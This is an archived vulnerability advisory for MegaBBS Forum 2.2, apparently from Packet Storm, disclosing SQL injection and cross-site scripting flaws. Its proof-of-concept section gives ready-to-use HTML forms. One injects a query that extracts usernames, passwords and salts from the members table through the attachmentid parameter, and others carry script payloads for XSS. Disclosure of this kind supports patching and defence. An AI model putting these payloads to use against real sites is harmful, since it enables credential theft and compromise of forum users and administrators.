the internet's safety

megabbs-multi.txt

megabbs-multi.txt
Posted Apr 28, 2008
Authored by AmnPardaz Security Research Team | Site bugreport.ir

MegaBBS Forum version 2.2 suffers from SQL injection and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, sql injection
MD5 | 18da12579c28a5751036ab310de5e8e7

megabbs-multi.txt

Change Mirror Download
########################## www.BugReport.ir #######################################
#
# AmnPardaz Security Research Team
#
# Title: MegaBBS Forum Multiple Vulnerabilities.
# Vendor: http://www.pd9soft.com/
# Vulnerable Version: 2.2
# Exploit: Available
# Impact: Medium
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/37
###################################################################################


####################
1. Description:
####################
A complete, fully featured ASP website system. Includes an extremely powerful forum, calendars, polls, and photo albums. Best of all, it's completely free! Find out why MegaBBS is one of the fastest growing ASP messaging portals available today.

####################
2. Vulnerability:
####################
2.1. There is a SQL Injection in "/forums/attach-file.asp" in "attachmentid" parameter.
2.1.1. POC:
Check the Exploit/POC section.
2.3. There is a XSS in "/admin/impersonate.asp".
2.3.1. POC:
/admin/impersonate.asp?redirect=javascript:alert('XSS')&action=end
2.2. There is a SQL Injection in "/profile/controlpanel.asp" in "invisible" and "timeoffset" parameters.
2.2.1. POC:
Check the Exploit/POC section.
2.4. There is a XSS in "send-private-message.asp". This XSS needs authentication.
2.4.1. POC:
Check the Exploit/POC section.
####################
3. Exploits/POC:
####################

Original Exploit URL: http://bugreport.ir/index.php?/37/exploit

3.1. "/forums/attach-file.asp" SQL Inection POC:
-------------
<form ENCTYPE="multipart/form-data" method="post" action="http://[Site URL]/forums/attach-file.asp?action=postupload&mid=[YOUR MSG ID]&attachmentid=1 or 1=convert(int,(select top 1 username%2bpassword%2bsalt from members where username<>''))">
File : <input type='file' name='attachment' size='40'>
<br />
<input type='submit' value='Submit'>
</form>
-------------
3.2. "/profile/controlpanel.asp" SQL Injection POC:
-------------
<form method='post' name='updateprofile' action='http://[Site URL]/profile/controlpanel.asp'>
Injection1 (Numeric Update):<input type="text" name="invisible" value="1" />
<br />
Injection2 (Numeric Update):<input type="text" name="timeoffset" value="1" />
<br />
<input type="hidden" name="action" value="updateinfo" />
<input type="hidden" name="showemail" value="1" />
<input type="hidden" name="usesignature" value="1" />
<input type="hidden" name="viewsignature" value="1" />
<input type="hidden" name="disablepostcount" value="1" />
<input type="hidden" name="userichedit" value="1" />
<input type="hidden" name="emailnotifications" value="1" />
<input type="hidden" name="sendprivatenotifications" value="1" />
<input type="hidden" name="includebody" value="1" />
<input type="hidden" name="language" value="1" />
<input type="hidden" name="disallowbroadcasts" value="1" />
<input type="hidden" name="viewavatars" value="1" />
<input type="submit" />
</form>
-------------
3.3. "send-private-message.asp" XSS POC:
-------------
<form action="http://[Site URL]/send-private-message.asp" method="post">
<input type="hidden" name="action" value="post" />
<input type="text" name="toid" value="<script>alert('XSS')</script>" />
<br />
<input type="submit" name="" value="submit" />
</form>
-------------

####################
4. Solution:
####################
Edit the source code to ensure that inputs are properly sanitised.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close